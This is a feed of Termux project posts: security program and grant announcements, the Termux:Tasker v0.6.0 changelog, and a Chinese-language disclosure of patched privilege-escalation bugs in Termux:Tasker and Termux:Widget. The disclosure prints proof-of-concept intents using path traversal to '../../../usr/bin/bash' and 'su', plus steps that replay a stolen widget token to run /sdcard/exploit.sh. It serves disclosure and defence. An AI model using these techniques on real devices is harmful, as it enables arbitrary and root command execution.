Jekyll2026-01-24T09:19:03+00:00https://termux.dev/feed.xmlTermuxThe main termux site and help pages.Termux Selected For GitHub Secure Open Source Fund Session 22025-08-11T00:00:00+00:002025-08-11T00:00:00+00:00https://termux.dev/en/posts/general/2025/08/11/termux-selected-for-github-secure-open-source-fund-session-2During June 2025 Termux team members Agnostic Apollo and Henrik Grimler participated in the Session 2 of the GitHub Secure Open Source Fund program, together with maintainers from ~50 other open source projects. The program has been one of GitHub ways to work towards increasing security and security awareness in open source projects. You can read GitHub's announcement about the program at https://github.blog/open-source/maintainers/securing-the-supply-chain-at-scale-starting-with-71-important-open-source-projects.

In this post we will describe what we learnt, did and plan to do.


 

What We Learnt

The program was only 3 few weeks long, but touched on many important concepts, including but not limited to:

  • Licenses and license compliance.
  • Security advisories.
  • Security incident responses.
  • Threat modelling.
  • Securing GitHub Actions.
  • Securing code with CodeQL and code scanning.
  • Secure UX design.
  • AI and MCP security.
  • Securing code with the help of GitHub Copilot.
  • Securing and testing code with Fuzzing.

 

What We Did

Even though Termux has already done a security disclosure once before, the program helped us learn how to go through this process a bit more formally. As part of the program:

  • Learnt how to assign a Common Vulnerability Scoring System (CVSS) score and request a Common Vulnerabilities and Exposures (CVE) ID from GitHub itself.

  • Published our Security Policy and Security Incident Response Checklist to formalize the process of reporting vulnerabilities to Termux and how we should handle them. These are linked in the SECURITY.md files of our repositories, like termux-app and termux-packages.

  • Added a dedicated security category for posts on our site instead of mixing them under general posts. (1)

  • Added CodeQL GitHub Action workflow to scan GitHub Actions scripts of termux-packages repository, it will be added for other repositories in future. OpenSSF Scorecard that we learned about may be used as well. (1)

  • Add Dependency Submission GitHub Action workflow for automatic dependency submission for Termux app for gradle builds so that Software Bill of Materials (SBOM) can be generated, which also enabled dependency vulnerability reporting in the repository Security tab. (1)


 

What We Plan To Do

The program and our work on security enhancements is not over just yet, it will continue on until the abyss consumes us. We plan to look into the following in future:

  • Add a threat model for Termux app and plugins and our repo servers. This couldn't be done during the 3 week program as formally evaluating and writing docs for all would take days and weeks of work as our project scale is too wide, so will be done later. Currently, we normally discuss threats in pulls and issues when things are getting implemented.

  • The power and greatness of CodeQL cannot be denied and is something we can leverage to secure our open source projects. It can be used to scan security issues in code based on published Common Weakness Enumerations (CWE), and using custom CodeQL for additional vulnerability detection would be really helpful too, for both our apps and libraries.

  • Adding fuzzing based testing to Termux APIs and libraries, but it may need to be restricted to a small set of APIs that are tested or with limited inputs, as there seems to be resource consumption issues, will have to research into how large projects use it.

  • Look into adding Termux app version name, Android release version and other Termux specific runtime and build info into user agent used by apt/pkg commands when downloading packages from our repository servers with an opt out. Currently only Termux package and prefix build values are sent. This should give us info on the distribution of Termux/Android versions among users and can help us better gauge the security impact of vulnerabilities. It will also help us know the usage metrics of third party apps using Termux execution environment and packages when Dynamic Variables support is added. Any user uniquely identifiable info will not be sent of course.


 

Thanks!

The GitHub SOSF program has been the catalyst we needed to formalize our security procedures and its learnings have made us more aware of the many ideas and GitHub toolings we can use to improve the security of our project. - agnostic-apollo

We want to thank the GitHub and Microsoft staff, especially from the GitHub Security Lab for sharing their knowledge and helping us grow, as well as all the program funders for making the program possible. A big shout out to all the other projects that participated in the program as well, there has been a lot we were able to learn from each other, and help each other with!


 

]]>
Termux Selected For NLnet NGI Mobifree Grant2024-11-11T00:00:00+00:002024-11-11T00:00:00+00:00https://termux.dev/en/posts/general/2024/11/11/termux-selected-for-nlnet-ngi-mobifree-grantTermux has been approved to receive a grant from the NLnet Foundation under its NGI Mobifree (1, 2) program for the June 2024 call. NGI Mobifree is a pilot within the European Commission's Next Generation Internet (NGI) initiative. The public announcement by NLnet is available at https://nlnet.nl/news/2024/20241111-NGI-Mobifree-grants.html with our project page at https://nlnet.nl/project/Termux.

Henrik Grimler and agnostic-apollo are really grateful for this opportunity and really excited to work with the NLnet Foundation under the grant.

Under the NGI Mobifree grant the following three improvements to Termux are planned to be implemented.

  1. termux-core Library
  2. APK Library File (APKLF)
  3. Dynamic Variables

 

termux-core Library

The termux-core library will be created which will allow external projects to use Termux execution environment and packages in their own apps. Currently, to integrate Termux in third party apps requires a full fork of Termux app and manual integration.

The library is planned to be provided under the MIT license to increase adoption and prevent license conflicts as we want termux-core to be more attractive to external projects and commercial entities that could have uses for a termux-ish environment in their app. We hope the MIT license + proof-of-concept demonstrations can help us land some support contracts, and make the Termux project more economically sustainable.


 

APK Library File (APKLF)

A new APK Library File (APKLF) execution/packaging design will be implemented so that Termux can comply with security restrictions added in Android 10 prevents apps from executing downloaded packages if an app uses targetSdkVersion >= 29 (Android 10). As a workaround Termux is currently using targetSdkVersion = 28 (Android 9) to run in backward compatibility mode.

Check the App Data File Execute Restrictions, including the untrusted_app* SeLinux Policy section for more info on the Android security restrictions. Check the termux/termux-app#1072: No more exec from data folder on targetAPI >= Android Q and termux/termux-app#2155: Revisit the Android W^X problem issues for discussions regarding the issues and possible solutions. To understand how Termux executes files, check the Termux Execution Environment docs.

Check the APK Native Library docs for more info on the APKLF design, and the Issues sections for details on all its issues that need to be solved. A proper design doc and info on additional issues will be published in near future.

APKLF design is very critical for long term functioning and stability of the Termux app, as the exemption allowed by Android for apps like Termux to execute downloaded files by using targetSdkVersion = 28 (Android 9) may end in some future Android version, which will break Termux completely. Android has already bumped PLATFORM_MIN_SUPPORTED_TARGET_SDK_VERSION to 28 in Android 14 and there are plans to bump it to 29 soon, which will then show a message when Termux app is launched to warn the users that app may not work properly as it's targeting too old an sdk. (1, 2) Additionally, this is required for temrux-core library as well as external apps, especially ones on Google PlayStore, cannot use older targetSdkVersion like Termux does to bypass restrictions.

Context

Android restricts execution based on SeLinux policies and contexts assigned to app processes (untrusted_app*) and their files under app data directory (app_data_file). If a file exists in the private app data directory /data/data/<package_name> of the app, in which files can be created at runtime, Android does not allow execution if app uses targetSdkVersion >= 29 as that is considered a security risk to allow random code to be executed. Google wants only files that exist inside app APKs to be executable as APKs can be scanned for malicious files, either on device or when uploaded to app stores like Google PlayStore. This is a different security model than how general purpose computers work which allow downloading and executing code without any restrictions.

  • The solution that is approved by Android, and which will be used by APKLF, is for app developers to add any executable files to the APK native library directory, which are then extracted to system controlled /data/app/*<package_name>/lib/<arch> path when app is installed. Files under this directory have a different SeLinux contexts apk_data_file for which execution is allowed. However, this is a single level directory and nested directories required by a rootfs are not allowed, so files inside it need to be symlinked into the rootfs inside the app data directory to provide a proper execution environment. Moreover, a single APK cannot contain 1000s of packages, and updating a single package would also require downloaded and installing the entire APK, so packages need to be in distributed in their own separate app APKs. Lot of complications exist in this design that would need to be solved.

  • Another "hack" that's named system_linker_exec was also found that allows executing files from app data directory while still using targetSdkVersion for latest Android versions. This is done by hooking into exec() functions and passing the executable path to the /system/bin/linker for it execute it, this way SeLinux assumes that a safe path under /system/bin is being executed and allows it. However, this hack will likely get patched by Android as it is a security risk and cannot be relied on as a long term solution and is also not compliant with Google PlayStore policies. Check the termux/termux-exec/pull/24 pull request and System Linker Exec docs, and termux-exec technical docs for how this works.

  • Another solution that is yet to be asked from Google is to add a special SeLinux process domain for apps that have been granted a special permission with adb to execute files in some future Android version X, but there is no guarantee that is will be approved and Android version 10 to (X-1) would still not be able to use it. Check termux/termux-app/issues/2155 issue comment and untrusted_dev_app process context type docs for more info.


 

Dynamic Variables

Termux package sources will be patched to read paths from environment variables exported by the app, or compiled package files will be patched at install time, rather than relying on hardcoded paths in the package files to Termux rootfs.

Termux packages currently use hardcoded paths/variables that are added/replaced in package sources at build time for its Termux rootfs directory /data/data/com.termux/files under the app data directory that Android is expected to assign to the Termux app if it's installed in the primary Android user 0. This prevents Termux packages to run if Termux app is installed in secondary users/work profiles, or on external sdcards, or if packages are running in an external app with a different app data or rootfs directory, unless packages are compiled specifically for the different rootfs path.

There are currently around ~4000 placeholders in package source/patch files that are replaced at build time with Termux variables. There are also additional variables passed as build time config to package source builder scripts. To solve the issues of hardcoded values, following will be done.

  • The sources of any executable files of the package will be patched at build time with package source language specific code to read environment variables at runtime that are exported by the Termux app.
  • Non-executable files will be patched at install time on the device where the placeholder in package files will be replaced with its respective current environment variable value by the package manager (dpkg). Similar replacement will need to done for package files in the Termux app bootstrap during bootstrap installation. Compressed files will require special logic for replacement if possible. The path placeholders itself will likely with working default paths with extra path separators / added to fill up the max length of each path type as per Termux file path limits, and paths with the same length will be replaced otherwise a file may break. This should also ensure that existing Termux installations do not break, like in case if a package got updated before dpkg was updated to the version that implements the placeholder replacement if placeholder was not a working path.

Executable files will not use the placeholder-patch design at install time as for APKLF design, the executables will be read-only library files under the system owned APK native library directory (ApplicationInfo.nativeLibraryDir) /data/app/*<package_name>/lib/<arch>.

Packages that have been updated to dynamic variables design will be be marked as such in their package build build.sh files and deb control files. All the packages dependencies would need to be fixed as well before a package can be marked. Initially only the bootstrap and other important/popular packages will be patched.

Once packages are fixed to use environment variables, it should also allow external projects with a different app package name to execute packages already compiled for Termux app rootfs without having to recompile them from source, which often takes many hours and significant cpu/memory resources, so would ease adoption of Termux in external projects. However, packages may still have references to Termux name/urls inside them that are added at build time, and if an external project does not want that, then they will need to compile packages themselves anyways with their project specific values, but that will at least allow Termux packages to work if their app is installed on secondary users/work profiles, or on external sdcards.

Check the Termux Filesystem Layout docs for more info on the Termux filesystem and the Termux rootfs.


 

]]>
Termux:Tasker v0.6.0 版本发布2022-02-25T00:00:00+00:002022-02-25T00:00:00+00:00https://termux.dev/cn/posts/apps/2022/02/25/termux-tasker-v0.6.0-releaseTermux:Tasker v0.6.0 版本已经发布。

强烈建议您更新到 v0.5.0 或更高版本以修复 Termux 应用程序漏洞披露

您可以在 这里 查看版本。

变更日志

v0.6.0 - 2022-02-21 09.22

添加

  • 为后台命令添加对stdin的支持。 用户现在可以通过 stdin 传递脚本, 比如 $PREFIX/bin/bashshell的bash脚本和$PREFIX/bin/pythonshell 的python脚本或任何其他命令。注意: 如果通过stdin传递脚本,请不要传递参数,因为shell的原因,它会出错(至少bash是如此)。因为Tasker捆绑限制最大脚本长度为45k,详情请查看EditConfigurationActivity.setStdinView()

  • 添加对后台命令可以自定义日志级别的支持。值必须介于 Logger。LOG_LEVEL_OFF (0)andLogger.MAX_LOG_LEVEL(currentlyLogger.LOG_LEVEL_VERBOSE (3)按照[termux/termux-app@60f37bde](https://github.com/termux/termux-app/commit/60f37bde). ([5bf15189`](https://github.com/termux/termux-tasker/commit/5bf15189))

  • 添加对前台命令的会话操作支持。 有效值由 TermuxConstants 定义。TERMUX_APP.TERMUX_SERVICE.VALUE_EXTRA_SESSION_ACTION_*, 目前,介于 0and3 在 https://github.com/termux/termux-app/blob/v0.117/termux-shared/src/main/java/com/termux/shared/termux/TermuxConstants.java#L856. ([6f6ddd0d`](https://github.com/termux/termux-tasker/commit/6f6ddd0d))

  • 添加对等待前台会话命令结果的支持。先前配置的操作将表现相同,只等待后台命令。 对于创建或编辑的操作, Wait for result for commands切换值将用于决定是否等待命令的结果. 它适用于前台会话和后台命令. 请注意,对于前台命令, 仅返回会话记录,其中包含组合在 %stdout 变量中的stdoutstderr, 基本上任何发送到/dev/pts伪终端的东西,包括交互式会话的PS1前缀。对于退出失败的前台命令,需要 termux-app 版本 >=0.118 才能让会话自动关闭,而无需等待用户按 回车termux/termux-app@c19e01fc. 关闭 #39. (fecba503)

  • 根据termux/termux-app@f62febbftermux/termux-app@a2209ddd. (1c1567f2)添加对%stdout_original_length%stderr_original_length结果变量的支持。

  • 添加可以选择禁用的启动器图标/活动. 这允许用户知道他们是否安装了 termux 插件,而无需转到 android 设置里的应用列表,并且应该有助于减少当用户转移 termux 安装源并获取签名与以前安装的版本不匹配时产生的问题。 某些手机也需要这样做,以允许用户从 DuraSpeed 等 OEM 后台杀手中选择退出该应用程序。相关问题 termux/termux-widget#56. (8a78f282)

  • 根据 Android 12 的要求为应用组件添加显式导出属性。 https://developer.android.com/about/versions/12/behavior-changes-12#exported. (50e20b22)

  • 根据 night-mode termux.properties 值添加对 EditConfigurationActivity 的日/夜间主题的支持. TextIOActivity stdin 将始终使用浅色主题,因为它目前不支持深色模式。将来使用媒体查看器支持更新termux-shared时将添加支持. (b2cc90b6)

  • 将插件从github repo url 发送到 TermuxService 以在失败时显示。 (2eca337f)

  • 创建版本时自动附加调试 APK。 (705361ec)

  • 添加LICENSE.md。(cf1eda49)

  • 添加了崩溃处理程序,以便在启动时可以在 termux-app 中显示崩溃通知。 (63e76458)

修改

  • 对于stdin,重新设计了插件配置视图和 CardView 支持。termux-shared 提供的 TextIOActivity 将暂时使用。 (05af1af1, b52db047, 9c287360)

  • 启用后台模式并等待新插件配置的结果切换。 (70d97e7a)

  • 保存时保留插件配置值,即使它们不会被使用,因为标准输入脚本可能会被删除。 (26e1f5ea)

  • 移动到应用程序版本的语义版本控制,并将提交的哈希值和 github 添加到 APK 文件名。(4920bcd2)

  • 在简介中将参数长度修改为20。 (a80fe8fb)

  • 将简介长度从60增加到120,因为 Tasker 没这个限制。 如果它影响到了其他插件应用程序, 应该报告,以便可以使用条件简介大小. (a5bcd56a)

  • 禁用 shrinkResources 和混淆以测试可重现的构建和维护崩溃的堆栈跟踪。 (93555047)

  • 打开插件配置时不自动打开键盘。 (267cf61c)

  • 删除所有硬编码的 com.termux 常量,并使用 termux-shared 库中的 TermuxConstantsTermuxPreferenceConstants 的值。 (63e76458)

  • 使用 TermuxConstants 中为 PluginUtils 定义的 TermuxService 返回的额外常量. (63e76458)

  • 使用 termux-shared 提供的 FileUtilsTermuxFileUtils 来处理所有文件相关的功能,它有更好的, 更安全和更新的代码。 (63e76458)

  • 使用 termux-shared 提供的 TermuxTaskerAppSharedPreferences 来处理 SharedPreferences 功能。 (63e76458)

  • 使用 termux-shared 提供的 Logger 进行日志记录。 日志级别不会从每个日志条目的 SharedPreferences 中获取,但会在应用程序启动时从 SharedPreferences 加载到 Logger.CURRENT_LOG_LEVEL 变量中以及作为单独进程运行并维护单独的 Logger 的FireReceiver实例。 termux-app 还可以从其设置中设置日志级别。 (63e76458)

  • 修复未从文件中读取日志级别的问题,该问题已在上游的 TermuxTaskerAppSharedPreferences 中修复。 (63e76458)

  • 以前的工作目录只有在 TermuxConstants 下才会自动创建。TERMUX_HOME_DIR_PATH 但现在即使它在TermuxConstants.TERMUX_FILES_DIR_PATH 下也会被创建。[63e76458`](https://github.com/termux/termux-tasker/commit/63e76458)

  • 使用 ExecutionCommand 类来处理 FireReceiver 中的附加意图,因为它们与 TermuxService ACTION_SERVICE_EXECUTE 意图一致。(63e76458)

  • 使用 termux-shared 提供的 TermuxUtilsPackageUtils 并删除现有的 TermuxUtilsTermuxUtils.isTermuxAppAccessible() 还将检查 termux-tasker 是否可以访问 termux-appContext。 (63e76458)

修复

  • 修复由于使用相同的请求代码而发送到 TermuxService 的用于执行命令的PendingIntent存在潜在冲突 (d9a172d7)

  • 修复切换到横向模式时出现 android.view.WindowManager$BadTokenException: Unable to add window exception (d0e88055)

  • 修复为null插件bundle返回的错误字符串 (a0aaf8e8)

  • 如果没有将额外参数传递给FireReceiver,则修复NullPointerException (49acd107)

  • 处理无法获取版本代码以生成插件结果包不太可能的情况 (f6e33687)

文档

  • 添加 Google Play商店的弃用通知 (17c69428)

  • 添加贡献和分叉信息 (78fbc00e)

  • 更新调试说明 (81828177)

  • 更新插件配置说明 (f86a675a)

  • 更新安装说明 (ea1225ae)

  • 删除指向 Google Play和 Nethunter 商店的链接。 因为两者都提供过时的构建 (552d592e)

下载

如果您遇到任何问题,请随时在 Github, MatrixReddit上报告, Thanks :)

]]>
Termux:Tasker v0.6.0 Release2022-02-25T00:00:00+00:002022-02-25T00:00:00+00:00https://termux.dev/en/posts/apps/2022/02/25/termux-tasker-v0.6.0-releaseThe Termux:Tasker v0.6.0 is out.

It is highly recommended that you update to v0.5.0 or higher for fixes for vulnerabilities disclosed in the Termux Apps Vulnerability Disclosures post.

You can check the release at github here.

Changelog

v0.6.0 - 2022-02-21 09.22

Added

  • Add support for stdin for background commands. Users can now pass scripts via stdin, like a bash script to the $PREFIX/bin/bash shell and a python script to the $PREFIX/bin/python shell or any other commands. Note that if passing script via stdin, do not pass arguments, since it will fail depending on shell, at least will for bash. Max length of script supported is 45K characters as per Tasker plugin bundle limits, check EditConfigurationActivity.setStdinView() for details. Closes #46. (05af1af1)

  • Add support for custom log level for background commands. Values must be between Logger.LOG_LEVEL_OFF (0) and Logger.MAX_LOG_LEVEL (currently Logger.LOG_LEVEL_VERBOSE (3) as per termux/termux-app@60f37bde. (5bf15189)

  • Add support for session action for foreground commands. Valid values are defined by TermuxConstants.TERMUX_APP.TERMUX_SERVICE.VALUE_EXTRA_SESSION_ACTION_*, currently, between 0 and 3 at https://github.com/termux/termux-app/blob/v0.117/termux-shared/src/main/java/com/termux/shared/termux/TermuxConstants.java#L856. (6f6ddd0d)

  • Add support for waiting for foreground session command results. Previously configured actions will behave the same, i.e wait for only background commands. For new or edited actions, the Wait for result for commands toggle value will be used to decide whether to wait for result of commands. It will apply to both foreground session and background commands. Note that for foreground commands, only the session transcript is returned which will contain both stdout and stderr combined in %stdout variable, basically anything sent to the the pseudo terminal /dev/pts, including PS1 prefixes for interactive sessions. For foreground commands that exited with failure will require termux-app version >=0.118 for sessions to automatically close without waiting for user to press enter as per termux/termux-app@c19e01fc. Closes #39. (fecba503)

  • Add support for %stdout_original_length and %stderr_original_length result variables as per termux/termux-app@f62febbf and termux/termux-app@a2209ddd. (1c1567f2)

  • Add launcher icon/activity that can optionally be disabled. This allows users to know if they have installed the termux plugin without having to go to android settings app list and should help reduce issues created when users shift termux installation source and get signatures do not match previously installed version errors. This is also required on some phones to allow the user to opt out the app from OEM background killers like DuraSpeed. Related issue termux/termux-widget#56. (8a78f282)

  • Add explicit exported attribute for app components as required by Android 12. https://developer.android.com/about/versions/12/behavior-changes-12#exported. (50e20b22)

  • Add Day/Night theme support for EditConfigurationActivity based on night-mode termux.properties value. The stdin TextIOActivity will always use light theme since it doesn't currently support dark mode. Support will be added in future when termux-shared is updated with media viewer support. (b2cc90b6)

  • Send plugin github repo url to TermuxService to be shown in case of failure. (2eca337f)

  • Automatically attach debug APKs when a release is created. (705361ec)

  • Add LICENSE.md. (cf1eda49)

  • Added crash handler so that crash notifications can be shown in termux-app at startup. (63e76458)

Changed

  • Redesign plugin configuring views with CardView support. For stdin, the TextIOActivity provided by termux-shared will be used temporarily. (05af1af1, b52db047, 9c287360)

  • Enable background mode and wait for results toggle for new plugin configs. (70d97e7a)

  • Keep plugin config values when saving even if they wont be used since stdin scripts may be deleted accidentally. (26e1f5ea)

  • Move to semantic versioning for app version and add commit hash and github to APK file names.(4920bcd2)

  • Trim arguments length to 20 in blurb. (a80fe8fb)

  • Increase blurb length from 60 to 120 since Tasker doesn't have that limit. If it affects other plugin host apps, it should be reported so that conditional blurb size can be used. (a5bcd56a)

  • Disable shrinkResources and obfuscation for testing reproducible builds and maintaining stacktraces of crashes. (93555047)

  • Do not automatically open keyboard when opening plugin configuring. (267cf61c)

  • Remove all hardcoded com.termux constants and use the values defined by TermuxConstants and TermuxPreferenceConstants in termux-shared library. (63e76458)

  • Use extra constants returned by TermuxService defined in TermuxConstants for PluginUtils. (63e76458)

  • Use FileUtils and TermuxFileUtils provided by termux-shared to handle all file related functionality which has better, safer and more updated code. (63e76458)

  • Use TermuxTaskerAppSharedPreferences provided by termux-shared for handling SharedPreferences functionality. (63e76458)

  • Use Logger provided by termux-shared for logging. Log level will not be got from SharedPreferences for each log entry but will be loaded from SharedPreferences into the Logger.CURRENT_LOG_LEVEL variable at application startup and also in FireReceiver which runs as a separate process and maintains separate Logger instance. The termux-app can also set the log level from its settings. (63e76458)

  • Fix issue where log level was not being read from file, which has been fixed in TermuxTaskerAppSharedPreferences in upstream. (63e76458)

  • Previously working directory would only be created automatically if it was under TermuxConstants.TERMUX_HOME_DIR_PATH but now it will be created even if it's under TermuxConstants.TERMUX_FILES_DIR_PATH. (63e76458)

  • Use ExecutionCommand class to handle intent extras in FireReceiver since they are consistent with that of TermuxService ACTION_SERVICE_EXECUTE intent. (63e76458)

  • Use TermuxUtils and PackageUtils provided by termux-shared and remove existing TermuxUtils. The TermuxUtils.isTermuxAppAccessible() will also check if termux-tasker can access termux-app package Context. (63e76458)

Fixed

  • Fix potential conflicting PendingIntent for execution commands sent to TermuxService due to same request code being used. (d9a172d7)

  • Fix android.view.WindowManager$BadTokenException: Unable to add window exception when switching to landscape mode. (d0e88055)

  • Fix wrong error string returned for null plugin bundle. (a0aaf8e8)

  • Fix NullPointerException if arguments extra is not passed to FireReceiver. (49acd107)

  • Handle unlikely case where failed to get version code to generate plugin result bundle. (f6e33687)

Docs

  • Add google play store deprecation notice. (17c69428)

  • Add contributing and forking info. (78fbc00e)

  • Update debugging instructions. (81828177)

  • Update plugin configuration instructions. (f86a675a)

  • Update install instructions. (ea1225ae)

  • Remove links to Google Play and Nethunter stores. Both offer outdated builds. (552d592e)

Downloads

If you face any issues, feel free to report them at Github, Matrix or Reddit. Thanks :)

]]>
Termux应用程序漏洞披露2022-02-15T00:00:00+00:002022-02-15T00:00:00+00:00https://termux.dev/cn/posts/security/2022/02/15/termux-apps-vulnerability-disclosures这是 termux-apptermux-taskertermux-widget 的漏洞报告。

本报告发布于 2022-02-15, 距 离 termux-app v0.118.0 发布还剩30 天, 距离谷歌应用商店构建版本的程序被官方地使用添加在 termux-tools v0.135 中的终端横幅以及 添加带有弃用信息的 termux-app README 弃用大约有 150 天。 这应该已经为使用谷歌应用商店版本 (最新版本 v0.101) 的用户留出足够的时间来切换到在 F-Droid 或 Github 发布的 Termux 主程序以及其插件应用,并为其他 <= v0.117 版本的 Termux 应用程序用户提供足够的时间更新为 >= v0.118.0版本。

建议所有使用旧版本的用户立即更新到Termux v0.118.0Termux:Tasker v0.5 以及 Termux:Widget v0.13.0

目录

1. Termux:Tasker 权限提升漏洞

此漏洞允许其他程序在 termux 上下文执行 任意指令 。如果 termux 被其他应用赋予了 root 权限,甚至可以允许在 root 权限的环境中执行。

本漏洞首先存在于 v0.1 (2016-12-26) 版本, <= v0.4 的任意版本都会受到该漏洞的影响。本漏洞被修复于 v0.5 (2020-12-07).

该漏洞源于 Termux:Tasker 应用程序的 FireReceiver.java 文件中,该文件中没有对可执行文件的完整规范路径进行检查并按提供的原样执行。实际上, Termux:Tasker 应用程序仅允许执行 ~/.termux/tasker 目录中的脚本,以防止其他应用程序在 termux 上下文中执行任意命令,但没有对可执行文件进行规范路径检查。其他应用程序可以发送 ../../../usr/bin/bash 作为 executable 参数、 -c "some termux context command" 作为 args 参数以在 termux 环境中执行命令,或者发送 .. /../../usr/bin/su 作为 executable 参数、 -c "some root context command" 作为 args 参数以在 root 权限的环境中执行命令

注意,不一定是 Termux 插件的应用程序将 Intent 发送到 FireReceiver,任何应用程序都可以使用 Java 代码发送 Intent。 Termux:Tasker Exploit 给出了如何使用 Tasker 的 Java Action 来模拟一个普通的应用程序发送 Intent。

1. POC

Intent intent = new Intent("com.twofortyfouram.locale.intent.action.FIRE_SETTING");
intent.setClassName("com.termux.tasker", "com.termux.tasker.FireReceiver");

Bundle bundle = new Bundle();
bundle.putString("com.termux.tasker.extra.EXECUTABLE", "../../../usr/bin/bash");
bundle.putString("com.termux.execute.arguments", "-c \"echo -n 'I am '; whoami; echo 'creating exploit-file'; touch exploit-file; echo 'finding exploit-file'; find . -name exploit-file 2>/dev/null; sleep 5;\"");
bundle.putBoolean("com.termux.tasker.extra.TERMINAL", true);
bundle.putInt("com.termux.tasker.extra.VERSION_CODE", 4);

intent.putExtra("com.twofortyfouram.locale.intent.extra.BUNDLE", bundle);
context.sendBroadcast(intent);

2. 修复方式

  1. 目前,向 FireReceiver 发送 Intent 需要向调用应用程序授予 com.termux.permission.RUN_COMMAND,一个 危险 的运行时权限,该权限由 Termux app 发布。 在 v0.5 版本发布之前,从 v5.9.3 版本开始的 Tasker 应用已经请求过 RUN_COMMAND intent 权限。其他自动化测试应用需要在之后的版本 (26da42f7) 中请求此权限。

  2. 在执行之前, FireReceiver 首先 寻找并校验 executable 参数的规范路径。 从 v0.5 版本开始,正式支持允许执行 ~/.termux/tasker 目录之外的可执行文件,但前提是用户已经将 allow-external-apps=true 添加到 ~/.termux/termux.properties 中。 (a5af3db3)

这种由 Android 系统权限和应用程序设置绝对路径强制执行属性的双重权限模型提供了合理的安全性。除非用户将权限授予不受信任的应用程序,否则可以防止任何任意代码执行或权限提升。

访问 Termux:TaskerREADME 文件来获取更多详细信息。

3. 讨论

这种漏洞的存在,很大程度上是因为 任何程序都可以向自动化测试程序 (比如 Tasker) 的插件程序发送 IntentTasker ,以及它使用的 locale 插件协议库是在 2008 年左右创建的。当时,安卓系统不存在运行时权限,并且插件的安全性以及可能存在的危险使用方法可能在当时并不算是首要任务/关注点。 但是,对于被授予特殊权限 (例如设备管理员、设备所有者、Android 辅助功能 (无障碍服务),甚至存储、位置等) 的插件应用程序,它们的安全性确实尤其令人担忧。例如,SecureTask 插件,需要被设置为设备管理员,甚至许多功能需要被设置为设备所有者。如果用户在手机上安装了该应用程序,并授予 SecureTask 程序设备管理员的权限,那么任何应用程序都可以直接向其发送 Intent,而无需通过 Tasker 运行特权命令,包括 恢复出厂设置 等。

Termux:Tasker 所需要的 com.termux.permission.RUN_COMMAND 权限,要求 Tasker 等自动化应用程序在其 AndroidManifest.xml 中请求权限,但不能指望所有的插件都这样去做,因为添加这种权限需要自动化应用程序开发者的手动干预。此外,私有的插件可能存在自定义权限,他们的开发人员可能并不想公之于众。之后,可能需要设计某种令牌生成和验证机制,也许会作为 locale 库的核心部分。希望在不久的将来,Termux、自动化程序以及 locale 库的开发者可以一起协作来实现这种功能,因为当前的设计并不是所预期的。

2. Termux:Widget 权限提升漏洞

本漏洞允许任何 启动器程序termux 环境中执行 任意指令。如果 termux 被其他应用赋予了 root 权限,甚至可以允许在 root 环境中执行。在该启动器中, 任何的恶意应用程序 已经创建了一个快捷方式,该快捷方式启动了 Termux:Widget 的 shortcut chooser activity。当用户不小心点击了这个快捷方式时,无论该启动器是否为默认启动器,此漏洞都会被触发。

此漏洞首先存在于 v0.3 (2015-12-20)版本,从 v0.3<= v0.12 的任意版本均会受到该漏洞的影响。此漏洞被修复于 v0.13.0 (2021-09-23)版本。

Termux:Widget 的 "安全性" 通过 生成 Token 并将其存储在 SharedPreferences 中来实现。目前,启动器每次创建为静态快捷方式时,都会 发送这个Token 作为创建出的快捷方式 Intent 中的额外内容。当用户点击该快捷方式时,快捷方式的 Intent 由启动器应用程序发送并由 TermuxLaunchShortcutActivity 接收,并检查 Intent 中的 Token 与 SharedPreferences 中的Token 是否匹配。现在这种方式提供了不错的安全性,并且是 API 的一般工作方式。但是,旧版本的程序 没有进行规范路径校验,并将其按原样传递给 TermuxService。没有检查规范路径是否在 ~/.shortcuts 目录下。因此,一旦恶意的启动器或任何其他的应用程序收到 Token,它就可以随时执行任何命令,如用于前台命令的 "/sdcard/exploit.sh" 或者用于后台的 "/sdcard/tasks/exploit.sh" (Termux:Widget 会将其设定为后台任务,因为父目录名等于tasks)。

1. POC

  1. 安装 Termux:Widget v0.12.

  2. 通过 Termux Terminal 创建一个快捷方式: touch ~/.shortcuts/tasks/test

  3. 通过以下方式获取 Token: 安装并打开 TaskerLauncherShortcut, 点击 选项 (右上角的三个点按钮),选择 Search Shortcuts -> Static Shortcut -> Termux:Widget -> 选择任意一个快捷方式, Intent URI 会被复制到剪切板,比如 com.termux.file:/data/data/com.termux/files/home/.shortcuts/tasks/test#Intent;component=com.termux.widget/.TermuxLaunchShortcutActivity;S.com.termux.shortcut.token=22e30b81-5d67-4ee3-be0e-66169f637025;end。也可以通过 Termux Terminal 来获取 Token,在至少创建了一个快捷方式后,执行 cat /data/data/com.termux.widget/shared_prefs/token.xml

  4. 通过 Termux Terminal 创建漏洞利用脚本: echo 'whoami; su -c whoami; sleep 5' > /sdcard/exploit.sh

  5. 通过 Termux Terminal 或者 adb shell 触发此漏洞: am start --user 0 -n com.termux.widget/.TermuxLaunchShortcutActivity -d /sdcard/exploit.sh --es com.termux.shortcut.token 22e30b81-5d67-4ee3-be0e-66169f637025

或者从任何一个应用程序,执行以下 Java 代码:

    Intent intent = new Intent();
    intent.setClassName("com.termux.widget", "com.termux.widget.TermuxLaunchShortcutActivity");
    intent.setData(Uri.parse("/sdcard/exploit.sh"));
    intent.putExtra("com.termux.shortcut.token", "22e30b81-5d67-4ee3-be0e-66169f637025");
    startActivity(intent);

Termux 应用程序将会执行使用 /data/data/com.termux/files/usr/bin/sh 执行 /sdcard/exploit.sh 脚本,/sdcard 被挂载为 noexec 也没有问题。

2. 修复方式

  1. 在 Android 版本 >=8 时,程序将使用 ShortcutManager API 来创建Pinned Shortcut。这是一个创建快捷方式的更好方法,因为启动器无法访问应用程序的快捷方式数据,Android 系统来储存这些数据,启动器应用程序无法获取 Token ,也无法运行任何不是由用户创建的快捷方式脚本。有关快捷方式类型的更多信息,请查看 https://github.com/agnostic-apollo/TaskerLauncherShortcut#shortcut-types。 (e94d7777)

  2. 在旧版本上, Termux:Widget 创建的快捷方式和 Token 已经失效。如果恶意应用程序已经拥有这种 Token ,也无法再使用。Android >= 8 上的用户只能使用更安全的 Pinned Shortcut API 来重新创建这些快捷方式,而不是继续使用不安全的 Static Shortcut API。 (32f344ee)

  3. 在执行之前, 程序首先 寻找并校验 TermuxLaunchShortcutActivity 接收到的可执行文件参数的规范路径。即使某个程序发送的 Intent 发送了路径,损坏的符号链接,或者其规范路径不在 ~/.shortcuts~/.termux 目录下的快捷方式将 不会被显示,并且 后者会不允许被执行 。(32f344ee, 32f344ee, bcb0ab6c)

